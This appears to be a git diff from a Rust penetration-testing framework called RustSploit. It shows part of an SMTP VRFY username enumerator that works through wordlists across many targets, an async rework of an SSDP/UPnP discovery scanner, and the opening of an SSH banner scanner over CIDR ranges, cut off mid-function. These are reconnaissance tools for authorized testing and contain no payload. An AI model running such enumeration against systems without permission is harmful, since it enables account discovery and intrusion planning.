let response = String::from_utf8_lossy(&data);
|
||||
response_text.push_str(&response);
|
||||
|
||||
// Check for valid user responses (250, 251)
|
||||
if response.starts_with("250") || response.starts_with("251") {
|
||||
// User exists
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(Some(response_text.trim().to_string()));
|
||||
}
|
||||
|
||||
// Check for invalid user responses (550, 551, 553)
|
||||
if response.starts_with("550") || response.starts_with("551") || response.starts_with("553") {
|
||||
// User doesn't exist
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Check for ambiguous response (252 - cannot verify)
|
||||
if response.starts_with("252") {
|
||||
// Server explicitly refuses to verify (VRFY disabled) – treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!("Server returned 252 (cannot VRFY) for user '{}'", username));
|
||||
}
|
||||
|
||||
// If we got a complete response line but no known status code, treat as unknown
|
||||
if response.contains("\r\n") {
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!(
|
||||
"Unknown VRFY response for '{}': {}",
|
||||
username,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
// If we didn't get a clear response, treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
Err(anyhow!("No valid VRFY response received"))
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open file: {}", path))?;
|
||||
Ok(BufReader::new(file)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn enqueue_streaming_usernames(
|
||||
path: &str,
|
||||
targets: &[(String, String)],
|
||||
tx: crossbeam_channel::Sender<(String, String, String)>,
|
||||
) -> Result<()> {
|
||||
let file = File::open(path).context(format!("Failed to open username wordlist: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let username = line.trim();
|
||||
if username.is_empty() || username.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
let username_owned = username.to_string();
|
||||
for (raw_target, addr) in targets {
|
||||
tx.send((raw_target.clone(), addr.clone(), username_owned.clone()))?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open targets file: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
targets.push(trimmed.to_string());
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
async fn finalize_and_report(
|
||||
found: Arc<Mutex<Vec<(String, String)>>>,
|
||||
unknown: Arc<Mutex<Vec<(String, String)>>>,
|
||||
stats: Arc<Statistics>,
|
||||
) -> Result<()> {
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let found_guard = found.lock().unwrap();
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid usernames found.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid username(s):", found_guard.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (username, response) in found_guard.iter() {
|
||||
println!(" {} {} - {}", "✓".green(), username, response);
|
||||
}
|
||||
|
||||
if prompt("\nSave valid usernames? (y/n): ").await?
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let filename = prompt("What should the valid results be saved as?: ").await?;
|
||||
if filename.is_empty() {
|
||||
println!("{}", "[-] Filename cannot be empty.".red());
|
||||
} else {
|
||||
save_results(&filename, &found_guard)?;
|
||||
println!("{}", format!("[+] Results saved to {}", filename).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap();
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown VRFY response(s).",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
|
||||
if prompt("Save unknown responses to file? (y/n): ").await?
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let default_name = "smtp_unknown_responses.txt";
|
||||
let filename =
|
||||
prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name)).await?;
|
||||
let chosen = if filename.trim().is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
filename.trim().to_string()
|
||||
};
|
||||
|
||||
if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Failed to save unknown responses: {}", e).red()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to {}", chosen).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, users: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Username Enumeration Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} valid username(s)", users.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (username, response) in users {
|
||||
writeln!(file, "{} - {}", username, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Unknown VRFY Responses")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} unknown response(s)", entries.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (identity, response) in entries {
|
||||
writeln!(file, "{} - {}", identity, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{}", msg);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_port(default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let input = prompt(&format!("SMTP Port (default {}): ", default)).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()),
|
||||
Ok(port) => return Ok(port),
|
||||
Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_threads(default: usize) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default)).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default.max(1));
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return Ok(value);
|
||||
}
|
||||
}
|
||||
println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_timeout(default: u64) -> Result<u64> {
|
||||
loop {
|
||||
let input = prompt(&format!("Timeout in milliseconds (default {}): ", default)).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(value) if value >= 100 && value <= 60000 => return Ok(value),
|
||||
Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()),
|
||||
Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char)).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "[!] Please respond with y or n.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message).await?;
|
||||
if response.is_empty() {
|
||||
println!("{}", "[!] Path cannot be empty.".yellow());
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re
|
||||
.captures(t)
|
||||
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap
|
||||
.get(2)
|
||||
.map(|m| m.as_str().parse::<u16>().ok())
|
||||
.flatten()
|
||||
.unwrap_or(port);
|
||||
let formatted = if addr.contains(':') && !addr.starts_with('[') {
|
||||
format!("[{}]:{}", addr, p)
|
||||
} else {
|
||||
format!("{}:{}", addr, p)
|
||||
};
|
||||
if formatted.to_socket_addrs()?.next().is_none() {
|
||||
Err(anyhow!("DNS resolution failed: {}", formatted))
|
||||
} else {
|
||||
Ok(formatted)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,8 +2,11 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Instant;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
@@ -25,11 +28,24 @@ impl SearchTarget {
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
|
||||
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = prompt_port().await.unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().await.unwrap_or(3);
|
||||
let retries = prompt_retries().await.unwrap_or(1);
|
||||
let verbose = prompt_verbose().await.unwrap_or(false);
|
||||
let save_results = prompt_save_results().await.unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
@@ -37,11 +53,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.with_context(|| format!("Failed to normalize target '{}'", target))?;
|
||||
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
let search_targets = prompt_search_targets().await?;
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let mut found_any = false;
|
||||
let mut results = Vec::new();
|
||||
let start_time = Instant::now();
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
@@ -60,7 +79,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
let result = parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
if let Some(r) = result {
|
||||
results.push(r);
|
||||
}
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
@@ -82,10 +104,41 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Target: {}:{}", target, port);
|
||||
println!(" Search types: {}", search_targets.len());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Devices found: {}", if found_any {
|
||||
results.len().to_string().green().to_string()
|
||||
} else {
|
||||
"0".red().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if !found_any {
|
||||
println!();
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
// Save results if requested
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
|
||||
writeln!(file, "Target: {}:{}", target, port).ok();
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
|
||||
writeln!(file).ok();
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result).ok();
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -162,11 +215,17 @@ fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
}
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
async fn prompt_port() -> Option<u16> {
|
||||
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
if tokio::io::stdout().flush().await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
if tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
@@ -179,11 +238,17 @@ fn prompt_port() -> Option<u16> {
|
||||
}
|
||||
|
||||
/// Ask user for timeout in seconds
|
||||
fn prompt_timeout() -> Option<u64> {
|
||||
async fn prompt_timeout() -> Option<u64> {
|
||||
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
if tokio::io::stdout().flush().await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
if tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
@@ -198,11 +263,17 @@ fn prompt_timeout() -> Option<u64> {
|
||||
}
|
||||
|
||||
/// Ask user for number of retries
|
||||
fn prompt_retries() -> Option<u32> {
|
||||
async fn prompt_retries() -> Option<u32> {
|
||||
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
if tokio::io::stdout().flush().await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
if tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
@@ -217,11 +288,39 @@ fn prompt_retries() -> Option<u32> {
|
||||
}
|
||||
|
||||
/// Ask user for verbose mode
|
||||
fn prompt_verbose() -> Option<bool> {
|
||||
async fn prompt_verbose() -> Option<bool> {
|
||||
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
if tokio::io::stdout().flush().await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
if tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user to save results
|
||||
async fn prompt_save_results() -> Option<bool> {
|
||||
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
|
||||
if tokio::io::stdout().flush().await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut input = String::new();
|
||||
if tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
@@ -233,7 +332,7 @@ fn prompt_verbose() -> Option<bool> {
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
async fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
|
||||
@@ -243,9 +342,15 @@ fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
println!(" 4. All of the above");
|
||||
|
||||
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).ok();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
|
||||
match input.trim() {
|
||||
"1" | "" => {
|
||||
@@ -256,9 +361,15 @@ fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
}
|
||||
"3" => {
|
||||
print!("{}", "Enter custom ST: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut st_input = String::new();
|
||||
std::io::stdin().read_line(&mut st_input).ok();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut st_input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let st = st_input.trim().to_string();
|
||||
if !st.is_empty() {
|
||||
targets.push(SearchTarget::Custom(st));
|
||||
@@ -282,7 +393,7 @@ fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
@@ -314,19 +425,17 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
|
||||
results.get("server").unwrap_or(&String::new()),
|
||||
results.get("location").unwrap_or(&String::new()),
|
||||
results.get("usn").unwrap_or(&String::new())
|
||||
)
|
||||
.green()
|
||||
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
|
||||
let server = results.get("server").unwrap_or(&String::new()).clone();
|
||||
let location = results.get("location").unwrap_or(&String::new()).clone();
|
||||
let usn = results.get("usn").unwrap_or(&String::new()).clone();
|
||||
|
||||
let result_line = format!(
|
||||
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip, port, st_value, server, location, usn
|
||||
);
|
||||
|
||||
println!("{}", format!("[+] {}", result_line).green());
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
@@ -334,11 +443,14 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
Some(result_line)
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
||||
.yellow()
|
||||
);
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,461 @@
|
||||
//! SSH Service Scanner Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
|
||||
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Read, Write},
|
||||
net::{SocketAddr, TcpStream, ToSocketAddrs},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const DEFAULT_THREADS: usize = 50;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Service Scanner ║".cyan());
|
||||
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Features: ║".cyan());
|
||||
println!("{}", "║ - CIDR range support ║".cyan());
|
||||
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
|
||||
println!("{}", "║ - Banner grabbing ║".cyan());
|
||||
println!("{}", "║ - Concurrent scanning ║".cyan());
|
||||
println!("{}", "║ - Results export ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_scanned: AtomicU64,
|
||||
ssh_found: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_scanned: AtomicU64::new(0),
|
||||
ssh_found: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_scan(&self, found_ssh: bool, error: bool) {
|
||||
self.total_scanned.fetch_add(1, Ordering::Relaxed);
|
||||
if found_ssh {
|
||||
self.ssh_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let scanned = self.total_scanned.load(Ordering::Relaxed);
|
||||
let found = self.ssh_found.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
scanned.to_string().bold(),
|
||||
found.to_string().green(),
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
|
||||
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// SSH scan result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SshScanResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub banner: String,
|
||||
}
|
||||
|
||||
/// Grab SSH banner from a host
|
||||
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// Build address
|
||||
let addr_str = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]:{}", host, port)
|
||||
} else {
|
||||
format!("{}:{}", host, port)
|
||||
};
|
||||
|
||||
// Resolve and connect
|
||||
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
|
||||
Ok(a) => a.collect(),
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
if addrs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
for addr in addrs {
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
|
||||
let _ = stream.set_read_timeout(Some(timeout));
|
||||
let _ = stream.set_write_timeout(Some(timeout));
|
||||
|
||||
let mut stream = stream;
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match stream.read(&mut buffer) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buffer[..n])
|
||||
.trim()
|
||||
.to_string();
|
||||
if banner.starts_with("SSH-") {
|
||||
return Some(banner);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load targets from file
|
||||
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
